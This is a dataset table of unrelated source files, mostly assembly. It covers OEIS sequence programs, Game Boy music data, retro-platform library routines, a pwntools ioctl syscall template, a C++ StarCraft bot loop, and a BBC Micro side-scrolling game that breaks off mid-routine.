text stringlengths 1 1.05M |
|---|
<%
from pwnlib.shellcraft.arm.linux import syscall
%>
<%page args="fd, request, vararg"/>
<%docstring>
Invokes the syscall ioctl. See 'man 2 ioctl' for more information.
Arguments:
fd(int): fd
request(unsigned): request
vararg(int): vararg
</%docstring>
${syscall('SYS_ioctl', fd, request, vararg)}
|
; A080063: n mod (spf(n)+1), where spf(n) is the smallest prime dividing n (A020639).
; 1,2,3,1,5,0,7,2,1,1,11,0,13,2,3,1,17,0,19,2,1,1,23,0,1,2,3,1,29,0,31,2,1,1,5,0,37,2,3,1,41,0,43,2,1,1,47,0,1,2,3,1,53,0,1,2,1,1,59,0,61,2,3,1,5,0,67,2,1,1,71,0,73,2,3,1,5,0,79,2,1,1,83,0,1,2,3,1,89,0,3,2,1,1,5,0
add $0,1
mov $1,$0
mov $2,2
mov $3,$0
lpb $3
mov $5,$0
lpb $5
mov $3,$4
mov $6,$1
div $1,$2
mod $6,$2
cmp $6,0
sub $5,$6
lpe
add $2,1
mov $6,$1
lpb $3
cmp $6,1
cmp $6,0
sub $3,$6
lpe
lpe
mod $0,$2
|
SECTION rtlib
GLOBAL INTERRUPTREGPUSH
include "asmdef.h"
ORG P:
;
; Push ALL registers onto the stack EXCEPT for the following registers:
;
; PC => assumed to be global
; SR => assumed to be global or previously saved by interrupt mechanism
; IPR => assumed to be global
; SP => assumed to be global
; 0x38 - 0x3F => Permanent register file used by CW
;
INTERRUPTREGPUSH:
lea (SP)+
move N,X:(SP)+
move X0,X:(SP)+
move Y0,X:(SP)+
move Y1,X:(SP)+
move A0,X:(SP)+
move A1,X:(SP)+
move A2,X:(SP)+
move B0,X:(SP)+
move B1,X:(SP)+
move B2,X:(SP)+
move R0,X:(SP)+
move R1,X:(SP)+
move R2,X:(SP)+
move R3,X:(SP)+
move OMR,X:(SP)+
move LA,X:(SP)+
move M01,X:(SP)+
move LC,X:(SP)+
;
; save hardware stack
;
move SR,X:(SP)+
move HWS,X:(SP)+
move SR,X:(SP)+
move HWS,X:(SP)+
;
; Save temporary register file at 0x30 - 0x37 used by compiler
;
move X:<mr0,Y1
move Y1,X:(SP)+
move X:<mr1,Y1
move Y1,X:(SP)+
move X:<mr2,Y1
move Y1,X:(SP)+
move X:<mr3,Y1
move Y1,X:(SP)+
move X:<mr4,Y1
move Y1,X:(SP)+
move X:<mr5,Y1
move Y1,X:(SP)+
move X:<mr6,Y1
move Y1,X:(SP)+
move X:<mr7,Y1
move Y1,X:(SP)+
;
; 30 registers have been pushed on the stack.
; To return, we must simulate the original jsr
;
move X:(SP-32),Y1
move Y1,X:(SP)+
move SR,X:(SP)
move X:(SP-28),Y1
rts
endsec
end |
Music_PokemonTower_Ch1::
tempo 152
volume 7, 7
duty 3
toggleperfectpitch
vibrato 12, 2, 3
notetype 12, 8, 0
rest 4
octave 4
B_ 12
Music_PokemonTower_branch_7f05a::
notetype 12, 11, 4
octave 4
G_ 1
rest 7
G_ 1
rest 7
octave 3
B_ 1
rest 7
B_ 1
rest 3
B_ 1
rest 3
B_ 1
rest 7
B_ 1
rest 7
B_ 1
rest 7
octave 4
F# 1
rest 7
C_ 1
octave 3
B_ 1
G_ 1
rest 5
E_ 1
rest 7
E_ 1
rest 7
F# 1
rest 7
E_ 1
rest 7
G_ 1
rest 7
G_ 1
rest 7
F# 1
rest 7
F# 1
rest 7
G_ 1
rest 7
E_ 1
rest 7
D_ 1
rest 7
E_ 1
rest 7
G_ 1
rest 7
G_ 1
rest 7
F# 1
rest 7
B_ 1
rest 7
B_ 1
rest 7
octave 4
C_ 1
rest 7
C_ 1
rest 7
C# 1
rest 7
C# 1
rest 7
C_ 1
rest 7
C_ 1
rest 3
notetype 12, 8, 4
C_ 1
rest 3
notetype 12, 11, 4
D_ 1
rest 7
D_ 1
rest 7
octave 3
A_ 1
rest 7
A_ 1
rest 7
notetype 12, 10, 7
B_ 8
B_ 8
octave 4
C_ 8
C_ 8
C# 8
C# 8
notetype 12, 10, 6
D_ 16
rest 16
rest 16
rest 16
rest 16
notetype 12, 9, 2
B_ 4
octave 5
E_ 4
D_ 4
C_ 4
octave 4
B_ 4
octave 5
E_ 4
D_ 4
C_ 4
octave 4
B_ 4
octave 5
E_ 4
D_ 4
C_ 4
octave 4
B_ 4
G_ 4
F# 4
E_ 4
octave 5
C_ 16
C_ 16
loopchannel 0, Music_PokemonTower_branch_7f05a
Music_PokemonTower_Ch2::
vibrato 20, 3, 4
duty 3
notetype 12, 10, 0
octave 5
C_ 12
octave 4
E_ 4
Music_PokemonTower_branch_7f0ee::
notetype 12, 12, 1
octave 5
C_ 8
octave 4
B_ 4
notetype 12, 12, 4
G_ 1
F# 1
E_ 1
D# 1
notetype 12, 11, 0
G_ 8
octave 5
C_ 8
octave 4
B_ 4
G_ 4
E_ 4
G_ 4
octave 5
C_ 8
notetype 12, 11, 7
C_ 8
notetype 12, 12, 2
octave 4
G_ 1
F# 1
E_ 1
rest 1
notetype 12, 9, 6
octave 3
G_ 4
notetype 12, 12, 7
G_ 4
B_ 4
G_ 4
B_ 4
octave 4
C_ 4
octave 3
B_ 4
notetype 12, 11, 0
octave 4
C_ 16
E_ 8
notetype 12, 11, 7
E_ 12
notetype 12, 12, 5
octave 5
C_ 4
octave 4
B_ 4
G_ 4
B_ 4
G_ 4
F# 4
E_ 4
notetype 12, 11, 0
F# 12
G_ 4
notetype 12, 11, 0
F# 8
notetype 12, 11, 7
F# 8
notetype 12, 11, 0
B_ 4
G_ 4
F# 4
E_ 4
B_ 16
notetype 12, 11, 0
octave 5
C_ 4
octave 4
G_ 4
F# 4
E_ 4
notetype 12, 9, 0
octave 5
C_ 16
notetype 12, 11, 0
D_ 4
octave 4
A_ 4
G# 4
F# 4
notetype 12, 2, 15
octave 5
D_ 16
notetype 12, 12, 0
E_ 4
octave 4
B_ 4
A_ 4
G_ 4
octave 5
F_ 4
C_ 4
octave 4
A# 4
G# 4
octave 5
F# 4
D_ 4
C_ 4
octave 4
A# 4
G# 4
F# 4
E_ 4
D_ 4
notetype 12, 11, 0
C_ 8
notetype 12, 9, 0
C_ 8
notetype 12, 8, 0
C_ 8
notetype 12, 7, 0
C_ 8
notetype 12, 6, 0
C_ 8
notetype 12, 6, 7
C_ 8
rest 16
notetype 12, 10, 0
octave 5
G_ 16
octave 6
C_ 16
octave 5
B_ 8
G_ 8
E_ 8
G_ 8
octave 6
C_ 16
vibrato 0, 3, 4
notetype 12, 10, 7
C_ 16
loopchannel 0, Music_PokemonTower_branch_7f0ee
Music_PokemonTower_Ch3::
vibrato 4, 1, 1
notetype 12, 1, 3
rest 8
octave 5
G_ 8
Music_PokemonTower_branch_7f1a2::
E_ 1
rest 7
E_ 1
rest 7
E_ 1
rest 7
E_ 1
rest 3
E_ 1
D# 1
F# 1
D# 1
E_ 1
rest 7
G_ 1
rest 7
E_ 1
rest 7
B_ 1
rest 7
E_ 1
D# 1
octave 4
B_ 1
rest 5
B_ 1
rest 7
B_ 1
rest 7
B_ 1
rest 7
octave 5
C_ 1
rest 7
C_ 1
rest 7
C_ 1
rest 7
C_ 1
rest 7
octave 4
B_ 1
rest 7
B_ 1
rest 7
B_ 1
rest 7
B_ 1
rest 7
octave 5
C_ 1
rest 7
C_ 1
rest 7
C_ 1
rest 7
C_ 1
rest 7
E_ 1
rest 7
E_ 1
rest 7
E_ 1
rest 7
E_ 1
rest 7
E_ 1
rest 7
E_ 1
rest 7
E_ 1
rest 7
E_ 1
rest 3
G_ 1
rest 3
F# 1
rest 7
F# 1
rest 7
D_ 1
rest 7
D_ 1
rest 3
D_ 1
rest 1
D# 1
rest 1
E_ 1
rest 7
E_ 1
rest 7
F_ 1
rest 7
F_ 1
rest 7
F# 1
rest 7
F# 1
rest 7
G_ 1
rest 15
notetype 12, 1, 5
octave 4
F# 1
rest 3
F# 1
rest 3
G_ 1
rest 3
F# 1
rest 3
F# 1
rest 15
F# 1
rest 3
F# 1
rest 3
G_ 1
rest 3
F# 1
rest 3
F# 1
rest 7
notetype 12, 1, 3
octave 6
E_ 1
rest 1
D# 1
rest 1
F# 1
rest 1
D# 1
rest 1
E_ 1
rest 15
E_ 1
rest 15
E_ 1
rest 15
E_ 1
rest 15
E_ 1
rest 15
E_ 1
rest 7
octave 5
E_ 1
rest 1
D# 1
rest 1
F# 1
rest 1
D# 1
rest 1
loopchannel 0, Music_PokemonTower_branch_7f1a2
|
// Demonstrates a problem where constant loophead unrolling results in an error
// The result is a NullPointerException
// The cause is that the Unroller does not handle the variable opcode correctly.
// The Unroller gets the verwions for opcode wrong because it misses the fact that it is modified inside call to popup_selector()
// Commodore 64 PRG executable file
.file [name="loophead-problem.prg", type="prg", segments="Program"]
.segmentdef Program [segments="Basic, Code, Data"]
.segmentdef Basic [start=$0801]
.segmentdef Code [start=$80d]
.segmentdef Data [startAfter="Code"]
.segment Basic
:BasicUpstart(main)
.label screen = $400
.segment Code
// Offending unroll variable
main: {
// screen[40] = opcode
lda #'a'
sta screen+$28
// popup_selector()
jsr popup_selector
// screen[41] = opcode
sta screen+$29
// }
rts
}
popup_selector: {
lda #'a'
ldx #0
__b1:
// for (byte k = 0; k <= 2; k++)
cpx #2+1
bcc __b2
// }
rts
__b2:
// screen[k] = opcode
lda #'b'
sta screen,x
// for (byte k = 0; k <= 2; k++)
inx
jmp __b1
}
|
; A331150: Triangle read by rows: T(n,k) (n>=k>=1) = f(n,n-k+1) where f(n,k) = floor((n/k)*ceiling(n/k)).
; Submitted by Jamie Morken(w4)
; 1,1,4,1,3,9,1,2,4,16,1,2,3,7,25,1,2,3,4,9,36,1,2,2,3,7,14,49,1,2,2,3,4,8,16,64,1,2,2,3,3,6,9,22,81,1,2,2,2,3,4,7,13,25,100,1,2,2,2,3,3,6,8,14,33,121,1,2,2,2,3,3,4,7,9,16,36,144,1,2,2,2,2,3,3,6,7,13,21,45,169
lpb $0
add $1,1
sub $0,$1
lpe
add $1,1
sub $0,$1
mov $2,$1
sub $1,1
div $1,$0
sub $1,1
mul $2,$1
div $2,$0
mov $0,$2
|
-- 7 Billion Humans --
-- 40: Printing Etiqutte 2 --
-- Size: 13/12 --
-- Speed: 61/65 --
mem1 = nearest printer
mem2 = set 0
mem3 = nearest wall
a:
if mem2 < 5:
mem2 = calc mem2 + 1
takefrom mem1
step mem3
b:
if c == something:
step nw,w,sw,n,s,ne,e,se
jump b
endif
write mem2
drop
jump a
endif
|
COMMENT @----------------------------------------------------------------------
Copyright (c) GeoWorks 1988 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: CommonUI/CSpec (common code for several specific ui's)
FILE: cspecGadget.asm
ROUTINES:
Name Description
---- -----------
GLB OLBuildGadget Convert a generic trigger to the OL equivalent
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 2/89 Initial version
Eric 7/89 Motif extensions, more documentation
DESCRIPTION:
This file contains routines to handle the Open Look implementation
of a generic gadget.
$Id: cspecGadget.asm,v 1.1 97/04/07 10:50:34 newdeal Exp $
------------------------------------------------------------------------------@
Build segment resource
COMMENT @----------------------------------------------------------------------
FUNCTION: OLBuildGadget
DESCRIPTION: Return the specific UI class for a GenGadget
CALLED BY: GLOBAL
PASS:
*ds:si - instance data
ax - MSG_META_RESOLVE_VARIANT_SUPERCLASS
cx, dx, bp - ?
RETURN:
cx:dx - class (cx = 0 for no conversion)
DESTROYED:
ax, bx, si, di, bp, ds, es
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 2/89 Initial version
------------------------------------------------------------------------------@
OLBuildGadget proc far
class GenGadgetClass
; If the GenGadget is not a composite, we use OLGadgetClass (whose
; superclass is VisClass)
; If the GenGadget is a composite, we use OLGadgetCompClass (whose
; superclass is VisCompClass)
mov dx, offset OLGadgetClass ;assume no composite
mov di,ds:[si]
add di,ds:[di].Gen_offset
test ds:[di].GGI_attrs, mask GGA_COMPOSITE
jz OLBG_noComp
mov dx, offset OLGadgetCompClass ;assume no composite
OLBG_noComp:
mov cx, segment CommonUIClassStructures
ret
OLBuildGadget endp
Build ends
|
;
; Put character to console
;
; fputc_cons(char c)
;
;
; $Id: fputc_cons.asm,v 1.5 2016/05/15 20:15:45 dom Exp $
;
SECTION code_clib
PUBLIC fputc_cons_native
.fputc_cons_native
ld hl,2
add hl,sp
ld a,(hl)
IF STANDARDESCAPECHARS
cp 10
ELSE
cp 13
ENDIF
jr nz,fputc_cons1
call $B833 ;txtoutput
IF STANDARDESCAPECHARS
ld a,13
ELSE
ld a,10
ENDIF
.fputc_cons1
jp $B833 ;txtoutput
|
SECTION code_clib
SECTION code_fp_math48
PUBLIC ___slong2fs_callee
EXTERN cm48_sdcciyp_slong2ds_callee
defc ___slong2fs_callee = cm48_sdcciyp_slong2ds_callee
|
; A192687: Male-female differences: a(n) = A005378(n) - A005379(n).
; 1,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
mov $23,$0
mov $25,2
lpb $25,1
clr $0,23
mov $0,$23
sub $25,1
add $0,$25
sub $0,1
lpb $0,1
mul $0,100
mov $3,$0
div $3,6
mov $0,$3
mov $1,4
mov $3,1
lpb $1,1
div $0,3
div $1,2
add $4,$3
lpe
lpe
mov $1,$4
div $1,3
add $1,1
mov $26,$25
lpb $26,1
mov $24,$1
sub $26,1
lpe
lpe
lpb $23,1
mov $23,0
sub $24,$1
lpe
mov $1,$24
|
#include <BWAPI.h>
#include <BWAPI/Client.h>
#include "StarterBot.h"
#include <iostream>
#include <thread>
#include <chrono>
void PlayGame();
int main(int argc, char * argv[])
{
size_t gameCount = 0;
// if we are not currently connected to BWAPI, try to reconnect
while (!BWAPI::BWAPIClient.connect())
{
std::this_thread::sleep_for(std::chrono::milliseconds{ 1000 });
}
// if we have connected to BWAPI
while (BWAPI::BWAPIClient.isConnected())
{
// the starcraft exe has connected but we need to wait for the game to start
std::cout << "Waiting for game start\n";
while (BWAPI::BWAPIClient.isConnected() && !BWAPI::Broodwar->isInGame())
{
BWAPI::BWAPIClient.update();
}
// Check to see if Starcraft shut down somehow
if (BWAPI::BroodwarPtr == nullptr) { break; }
// If we are successfully in a game, call the module to play the game
if (BWAPI::Broodwar->isInGame())
{
std::cout << "Playing game " << gameCount++ << " on map " << BWAPI::Broodwar->mapFileName() << "\n";
PlayGame();
}
}
return 0;
}
void PlayGame()
{
StarterBot bot;
// The main game loop, which continues while we are connected to BWAPI and in a game
while (BWAPI::BWAPIClient.isConnected() && BWAPI::Broodwar->isInGame())
{
// Handle each of the events that happened on this frame of the game
for (const BWAPI::Event& e : BWAPI::Broodwar->getEvents())
{
switch (e.getType())
{
case BWAPI::EventType::MatchStart: { bot.onStart(); break; }
case BWAPI::EventType::MatchFrame: { bot.onFrame(); break; } //
case BWAPI::EventType::MatchEnd: { bot.onEnd(e.isWinner()); break; }
case BWAPI::EventType::UnitShow: { bot.onUnitShow(e.getUnit()); break; }
case BWAPI::EventType::UnitHide: { bot.onUnitHide(e.getUnit()); break; }
case BWAPI::EventType::UnitCreate: { bot.onUnitCreate(e.getUnit()); break; }
case BWAPI::EventType::UnitMorph: { bot.onUnitMorph(e.getUnit()); break; }
case BWAPI::EventType::UnitDestroy: { bot.onUnitDestroy(e.getUnit()); break; }
case BWAPI::EventType::UnitRenegade: { bot.onUnitRenegade(e.getUnit()); break; }
case BWAPI::EventType::UnitComplete: { bot.onUnitComplete(e.getUnit()); break; }
case BWAPI::EventType::SendText: { bot.onSendText(e.getText()); break; }
}
}
BWAPI::BWAPIClient.update();
if (!BWAPI::BWAPIClient.isConnected())
{
std::cout << "Disconnected\n";
break;
}
}
std::cout << "Game Over\n";
}
|
; A321220: a(n) = n+2 if n is even, otherwise a(n) = 2*n+1 if n is odd.
; 2,3,4,7,6,11,8,15,10,19,12,23,14,27,16,31,18,35,20,39,22,43,24,47,26,51,28,55,30,59,32,63,34,67,36,71,38,75,40,79,42,83,44,87,46,91,48,95,50,99,52,103,54,107,56,111,58,115,60,119,62,123,64,127,66,131,68,135,70,139,72,143,74,147,76,151,78,155,80,159,82,163,84,167,86,171,88,175,90,179,92,183,94,187,96,191,98,195,100,199
sub $0,1
mov $1,$0
gcd $0,2
mul $0,$1
add $0,3
|
\ ******************************************************************
\ * EDGE GRINDER
\ ******************************************************************
_DOUBLE_BUFFER = TRUE
\ ******************************************************************
\ * OS defines
\ ******************************************************************
osfile = &FFDD
oswrch = &FFEE
osasci = &FFE3
osbyte = &FFF4
osword = &FFF1
osfind = &FFCE
osgbpb = &FFD1
osargs = &FFDA
osrdch = &FFE0
\\ Palette values for ULA
PAL_black = (0 EOR 7)
PAL_blue = (4 EOR 7)
PAL_red = (1 EOR 7)
PAL_magenta = (5 EOR 7)
PAL_green = (2 EOR 7)
PAL_cyan = (6 EOR 7)
PAL_yellow = (3 EOR 7)
PAL_white = (7 EOR 7)
MODE2_PIXEL_00 = &00
MODE2_PIXEL_01 = &01
MODE2_PIXEL_02 = &04
MODE2_PIXEL_03 = &05
MODE2_PIXEL_04 = &10
MODE2_PIXEL_05 = &11
MODE2_PIXEL_06 = &14
MODE2_PIXEL_07 = &15
MODE2_PIXEL_10 = MODE2_PIXEL_01<<1
MODE2_PIXEL_20 = MODE2_PIXEL_02<<1
MODE2_PIXEL_30 = MODE2_PIXEL_03<<1
MODE2_PIXEL_40 = MODE2_PIXEL_04<<1
MODE2_PIXEL_50 = MODE2_PIXEL_05<<1
MODE2_PIXEL_60 = MODE2_PIXEL_06<<1
MODE2_PIXEL_70 = MODE2_PIXEL_07<<1
MODE2_PIXEL_LEFT_MASK = &AA
MODE2_PIXEL_RIGHT_MASK = &55
IKN_z = 97
IKN_x = 66
IKN_colon = 72
IKN_fwd_slash = 104
\ ******************************************************************
\ * GAME defines
\ ******************************************************************
BG_COL_0 = PAL_black
BG_COL_1 = PAL_blue
BG_COL_2 = PAL_white
BG_COL_3 = PAL_green ; PAL_red or PAL_cyan also look OK
BG_PIX_0 = MODE2_PIXEL_00
BG_PIX_1 = MODE2_PIXEL_04
BG_PIX_2 = MODE2_PIXEL_07
BG_PIX_3 = MODE2_PIXEL_02
SPRITE_PIX_0 = MODE2_PIXEL_00 ; actually transparent
SPRITE_PIX_1 = MODE2_PIXEL_05 OR MODE2_PIXEL_50 ; magenta (black on C64)
SPRITE_PIX_2 = MODE2_PIXEL_01 OR MODE2_PIXEL_10 ; red
SPRITE_PIX_3 = MODE2_PIXEL_03 OR MODE2_PIXEL_30 ; yellow (white on C64)
KEY_LEFT = IKN_z
KEY_RIGHT = IKN_x
KEY_UP = IKN_colon
KEY_DOWN = IKN_fwd_slash
\ ******************************************************************
\ * MACROS
\ ******************************************************************
MACRO BG_PIXEL c
IF c=1
EQUB BG_PIX_1
ELIF c=2
EQUB BG_PIX_2
ELIF c=3
EQUB BG_PIX_3
ELSE
EQUB BG_PIX_0
ENDIF
ENDMACRO
MACRO PAGE_ALIGN
H%=P%
ALIGN &100
PRINT "Skipping ", P%-H%, "bytes"
ENDMACRO
\ ******************************************************************
\ * GLOBAL constants
\ ******************************************************************
screen_start = &4000
screen_size = &4000
screen_top = screen_start + screen_size
row_stride = 640
column_buffer = &400 ; 160 bytes for right hand column
column_size = 160
sprite_total = 119
sprite_stride = 64
sprite_width_bytes = 3
sprite_height = 21 ; total 63 bytes for a C64 sprite
\ ******************************************************************
\ * ZERO PAGE
\ ******************************************************************
ORG &00
GUARD &9F
.tile_cnt skip 1 ; which column within a tile
.tile_total skip 1 ; how many tiles have we covered?
.char_col skip 1 ; incremented per pixel / tick - NEED BETTER NAME!
.corner_addr skip 2 ; address of top left corner of screen buffer
.crtc_addr skip 2 ; start address of visible screen in CRTC chars
.read_ptr skip 2 ; generic read ptr
.write_ptr skip 2 ; generic write ptr
.sprite_no skip 1 ; temp for sprite_plot
.sprite_byte skip 1 ; temp for sprite_plot
.sprite_idx skip 1 ; temp for sprite_plot
.x_count skip 1 ; temp for sprite_plot
.y_count skip 1 ; temp for sprite_plot
.x_pos skip 1 ; sprite x
.y_pos skip 1 ; sprite y
.num skip 1 ; sprite frame
.bg_ptrs skip 4 ; pointers to sprite plot address on screen for stash
\ ******************************************************************
\ * CODE START
\ ******************************************************************
ORG &E00
GUARD screen_start
.start
\ ******************************************************************
\ * Code entry
\ ******************************************************************
.code_start
.main
{
txs
\\ Set interrupts
SEI
LDA #&7F ; A=01111111
STA &FE4E ; R14=Interrupt Enable (disable all interrupts)
LDA #0 ; A=00000000
STA &FE4B ; R11=Auxillary Control Register (timer 1 one shot mode)
LDA #&C2 ; A=11000010
STA &FE4E ; R14=Interrupt Enable (enable main_vsync and timer interrupt)
CLI
\\ Wipe ZP
ldx #0
lda #0
.zp_loop
sta &00,x
inx
cpx #&a0
bcc zp_loop
\\ Set MODE
lda #22
jsr oswrch
lda #2
jsr oswrch
\\ Load SWRAM bank
\\ Set SWRAM slot 4
lda #4
sta &fe30
sta &f4
\ Ask OSFILE to load our file
LDX #LO(osfile_params)
LDY #HI(osfile_params)
LDA #&FF
JSR osfile
\\ Copy up to SWRAM
lda #HI(&4000)
ldx #HI(&8000)
ldy #HI(&4000)
jsr move_pages
\\ Turn off cursor
lda #10: sta &FE00
lda #32: sta &FE01
\\ Visibile lines = 20 (to blank scroll garbage for now)
lda #6: sta &fe00
lda #20: sta &fe01
\\ Set 16K wraparound
SEI
LDA #&0F ; A=00001111
STA &FE42 ; R2=Data Direction Register "B" (set addressable latch for writing)
LDA #&00 + 4 ; A=00000100 ; B4
STA &FE40 ; R0=Output Register "B" (write) (write 0 in to bit 4)
LDA #&00 + 5 ; A=00001101 ; B5
STA &FE40 ; R0=Output Register "B" (write) (write 0 in to bit 5)
CLI
\ Setup SHADOW buffers for double buffering
IF _DOUBLE_BUFFER
lda &fe34
and #255-1 ; set D to 0
ora #4 ; set X to 1
sta &fe34
ENDIF
\\ Set scroll addresses
lda #LO(screen_start)
sta corner_addr
lda #HI(screen_start)
sta corner_addr+1
lda #LO(screen_start/8)
sta crtc_addr
lda #HI(screen_start/8)
sta crtc_addr+1
\\ Initialise variables
lda #4
sta x_pos
lda #70
sta y_pos
lda #11
sta num
ldx #0
lda #0
.col_loop
sta column_buffer, X
inx
cpx #column_size
bcc col_loop
\\ Initialise the tile readers
ldx #0
stx tile_cnt
stx tile_total
jsr tile_update
.loop
stx char_col
\\ Wait for vsync
lda #19
jsr osbyte
\\ Wait for vsync again (25Hz scroll)
lda #19
jsr osbyte
\\ Swap screen buffers here!
lda &fe34
eor #5
sta &fe34
\\ Set scroll address
lda #12:sta &fe00
lda crtc_addr+1:sta &fe01
lda #13:sta &fe00
lda crtc_addr:sta &fe01
\\ Remove sprites from frame
jsr restore_background
\\ Start column plot
jsr set_corner_addr
\\ Set lookup for this pixel
lda char_col
and #3
clc
adc #HI(map_c64_to_beeb_p0)
sta char_byte_map+2
\\ Rotate right hand column
jsr rotate_column_buffer
\\ Column reader for tile 1
ldx tile_cnt
jsr tile_read_1
\\ Gives character value in y - C64 can store this in character map, we need to plot to screen
jsr plot_char_y
\\ Add 4 to index as each tile has stride of 4
lda tile_cnt
clc
adc #$04
tax
jsr tile_read_1
jsr plot_char_y
lda tile_cnt
clc
adc #$08
tax
jsr tile_read_1
jsr plot_char_y
lda tile_cnt
clc
adc #$0c
tax
jsr tile_read_1
jsr plot_char_y
\\ Tile 2
ldx tile_cnt
jsr tile_read_2
jsr plot_char_y
lda tile_cnt
clc
adc #$04
tax
jsr tile_read_2
jsr plot_char_y
lda tile_cnt
clc
adc #$08
tax
jsr tile_read_2
jsr plot_char_y
lda tile_cnt
clc
adc #$0c
tax
jsr tile_read_2
jsr plot_char_y
\\ Tile 3
ldx tile_cnt
jsr tile_read_3
jsr plot_char_y
lda tile_cnt
clc
adc #$04
tax
jsr tile_read_3
jsr plot_char_y
lda tile_cnt
clc
adc #$08
tax
jsr tile_read_3
jsr plot_char_y
lda tile_cnt
clc
adc #$0c
tax
jsr tile_read_3
jsr plot_char_y
\\ Tile 4
ldx tile_cnt
jsr tile_read_4
jsr plot_char_y
lda tile_cnt
clc
adc #$04
tax
jsr tile_read_4
jsr plot_char_y
lda tile_cnt
clc
adc #$08
tax
jsr tile_read_4
jsr plot_char_y
lda tile_cnt
clc
adc #$0c
tax
jsr tile_read_4
jsr plot_char_y
\\ Tile 5
ldx tile_cnt
jsr tile_read_5
jsr plot_char_y
lda tile_cnt
clc
adc #$04
tax
jsr tile_read_5
jsr plot_char_y
lda tile_cnt
clc
adc #$08
tax
jsr tile_read_5
jsr plot_char_y
lda tile_cnt
clc
adc #$0c
tax
jsr tile_read_5
jsr plot_char_y
\\ Now copy new right hand column to screen buffer
jsr copy_column_buffer
\\ Store new bg
ldx x_pos
ldy y_pos
jsr stash_background
\\ Plot a sprite
lda num
ldx x_pos
ldy y_pos
jsr plot_sprite
\\ Animate sprite
lda char_col ; definitely need a frame flag!
and #1
beq skip_anim
ldx num
inx
cpx #18
bcc num_ok
ldx #11
.num_ok
stx num
.skip_anim
\\ Read keyboard
jsr read_keyboard
\\ Scrolling
\\ Increment column
ldx char_col
inx
\\ Two columns per character
txa
and #3
bne no_bump
\\ Bump the tile_cnt
jsr tile_cnt_bump
.no_bump
\\ Increment scroll every other column
txa
and #1
beq no_scroll
clc
lda crtc_addr
adc #1
sta crtc_addr
lda crtc_addr+1
adc #0
cmp #HI(screen_top/8)
bcc scroll_ok
sbc #HI(screen_size/8)
.scroll_ok
sta crtc_addr+1
IF _DOUBLE_BUFFER
.no_scroll
txa
and #1
bne no_column
ENDIF
clc
lda corner_addr
adc #8
sta corner_addr
lda corner_addr+1
adc #0
cmp #HI(screen_top)
bcc col_ok
sbc #HI(screen_size)
.col_ok
sta corner_addr+1
IF _DOUBLE_BUFFER
.no_column
ELSE
.no_scroll
ENDIF
jmp loop
.done
rts
}
; Self modifying code for the map reader
.map_read
{
lda map_data
inc map_read+$01
bne mr_out
inc map_read+$02
.mr_out
rts
}
; Map reader self modifying code reset
.map_read_rst
{
lda #LO(map_data)
sta map_read+$01
lda #HI(map_data)
sta map_read+$02
jmp tile_update
}
; Tile self modifying code updaters
.tile_update
{
jsr map_read
sta tile_read_1+$01
asl tile_read_1+$01
asl tile_read_1+$01
asl tile_read_1+$01
asl tile_read_1+$01
lsr a
lsr a
lsr a
lsr a
clc
adc #HI(tile_data)
sta tile_read_1+$02
jsr map_read
sta tile_read_2+$01
asl tile_read_2+$01
asl tile_read_2+$01
asl tile_read_2+$01
asl tile_read_2+$01
lsr a
lsr a
lsr a
lsr a
clc
adc #HI(tile_data)
sta tile_read_2+$02
jsr map_read
sta tile_read_3+$01
asl tile_read_3+$01
asl tile_read_3+$01
asl tile_read_3+$01
asl tile_read_3+$01
lsr a
lsr a
lsr a
lsr a
clc
adc #HI(tile_data)
sta tile_read_3+$02
jsr map_read
sta tile_read_4+$01
asl tile_read_4+$01
asl tile_read_4+$01
asl tile_read_4+$01
asl tile_read_4+$01
lsr a
lsr a
lsr a
lsr a
clc
adc #HI(tile_data)
sta tile_read_4+$02
jsr map_read
sta tile_read_5+$01
asl tile_read_5+$01
asl tile_read_5+$01
asl tile_read_5+$01
asl tile_read_5+$01
lsr a
lsr a
lsr a
lsr a
clc
adc #HI(tile_data)
sta tile_read_5+$02
rts
}
; Self modifying code for the tile readers
.tile_read_1
{
ldy tile_data,x
rts
}
.tile_read_2
{
ldy tile_data,x
rts
}
.tile_read_3
{
ldy tile_data,x
rts
}
.tile_read_4
{
ldy tile_data,x
rts
}
.tile_read_5
{
ldy tile_data,x
rts
}
; Specific case checks for scrolling
.tile_cnt_bump
{
ldy tile_cnt
iny
cpy #$04
bne tcb_out
\\ Completed a tile - check for looping the map
ldy tile_total
iny
bne no_loop
\\ Reset our map reader to start of data
jsr map_read_rst
.no_loop
sty tile_total
jsr tile_update
ldy #$00
.tcb_out
sty tile_cnt
rts
}
.plot_char_y
\{
\\ 8 bytes per char
sty read_char_data+1
lda #0
asl read_char_data+1
rol a
asl read_char_data+1
rol a
asl read_char_data+1
rol a
clc
adc #HI(char_data)
sta read_char_data+2
ldx #7
.plot_char_loop
.read_char_data
ldy &FFFF, X
.read_column_data
lda column_buffer, X
.char_byte_map
ora map_c64_to_beeb_p0, y ; mask in right hand pixel
.write_column_data
sta column_buffer, X
dex
bpl plot_char_loop
\\ Increment to next row
clc
lda write_column_data+1
adc #8
sta write_column_data+1
sta read_column_data+1
\\ Won't overflow
rts
\}
.set_corner_addr
{
lda #LO(column_buffer)
sta write_column_data+1
sta read_column_data+1
sta copy_col_char_loop+1
clc
lda corner_addr
adc #LO(80*8)
sta write_beeb_data+1
lda corner_addr+1
adc #HI(80*8)
cmp #HI(screen_top)
bcc ok
sbc #HI(screen_size)
.ok
